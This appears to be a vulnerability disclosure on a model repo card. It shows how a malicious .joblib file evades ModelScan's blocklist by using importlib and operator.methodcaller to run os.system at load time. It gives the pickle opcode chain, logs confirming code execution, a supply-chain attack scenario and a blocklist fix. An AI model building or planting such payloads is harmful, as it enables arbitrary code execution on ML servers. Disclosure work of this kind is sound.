YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ModelScan Blocklist Bypass — importlib + operator.methodcaller → ACE in .joblib
Vulnerability type: Scanner bypass + Arbitrary Code Execution
Affected library: protectai/model-scan ≤ 0.8.8
File format:.joblib(pickle-based)
Severity: Critical
Summary
ModelScan's unsafe_globals blocklist does not include importlib or
operator.methodcaller. A malicious .joblib file that uses only these two
modules executes arbitrary shell commands at load time while ModelScan
reports 0 issues.
Empirical verification
Tested on:
| Package | Version |
|---|---|
| Python | 3.11.14 |
| modelscan | 0.8.8 (latest) |
| joblib | 1.5.3 (latest) |
| numpy | 2.4.6 |
$ python3 reproduce.py
============================================================
Bug: ModelScan blocklist bypass via importlib + methodcaller
============================================================
[*] Scanning evil_importlib.joblib with ModelScan 0.8.8 ...
total_issues : 0
CRITICAL : 0
scanned : 1
errors : 0
[✓] BYPASS CONFIRMED — ModelScan reports 0 issues
[*] Loading model (joblib.load / pickle.loads) ...
Payload output: RCE:uid=1000(runner) gid=1000(runner) groups=1000(runner)
[✓] RCE CONFIRMED — /tmp/pwned.txt created
Root cause
ModelScan blocklist (all severities)
# modelscan/settings.py — DEFAULT_SETTINGS["unsafe_globals"]
CRITICAL: {
"__builtin__": ["eval", "compile", "getattr", "apply", "exec", ...],
"builtins": ["eval", "compile", "getattr", "apply", "exec", ...],
"os": "*", "posix": "*", "subprocess": "*", "sys": "*",
"socket": "*", "runpy": "*", ...
}
importlib is not listed at any severity level.operator is only partially listed (attrgetter only — methodcaller is absent).
Attack chain (pickle bytecode)
GLOBAL operator methodcaller ← not in blocklist
MARK
SHORT_BINUNICODE 'system'
SHORT_BINUNICODE 'echo RCE:$(id)'
TUPLE
REDUCE ← mc = methodcaller("system", "echo RCE:$(id)")
MEMOIZE
GLOBAL importlib import_module ← not in blocklist
MARK
SHORT_BINUNICODE 'os'
TUPLE
REDUCE ← os_mod = importlib.import_module("os")
MEMOIZE
BINGET 0 (mc)
MARK
BINGET 1 (os_mod)
TUPLE
REDUCE ← mc(os_mod) = os.system("echo RCE:$(id)")
STOP
ModelScan's _list_globals() sees:
("operator", "methodcaller")→ not in blocklist → ignored("importlib", "import_module")→ not in blocklist → ignored
Result: raw_globals contains no flagged entries → ScanResults(issues=[]) → 0 issues.
Attack scenario — model supply chain
Attacker Victim (ML engineer / CI pipeline)
──────── ────────────────────────────────────
1. Craft evil_importlib.joblib
(this repo)
2. Publish to Hugging Face Hub,
S3 bucket, or model registry.
3. CI runs ModelScan gate:
modelscan evil_importlib.joblib
Output: "No issues found" ✅
(0 critical, 0 high — scan passes)
4. Pipeline approves model.
5. Production calls joblib.load():
model = joblib.load("evil_importlib.joblib")
→ os.system() fires
→ Full ACE on production server
Reproduction
pip install joblib modelscan numpy
python3 reproduce.py
PoC files
| File | Description |
|---|---|
evil_importlib.joblib |
Malicious model — passes ModelScan, executes on load |
evil_gzip.joblib |
Bonus: gzip-compressed bypass (Bug 1, separate root cause) |
reproduce.py |
Full reproduction script with scan + load |
Fix recommendation
Add importlib and operator.methodcaller to the CRITICAL blocklist:
# modelscan/settings.py
"CRITICAL": {
...
"importlib": "*", # ADD
"operator": [
"attrgetter",
"methodcaller", # ADD
],
...
}
Additionally, audit all standard library modules that can transitively reach
os.system, subprocess, exec, or similar — this bypass class affects any
module reachable from the pickle stream that is absent from the blocklist.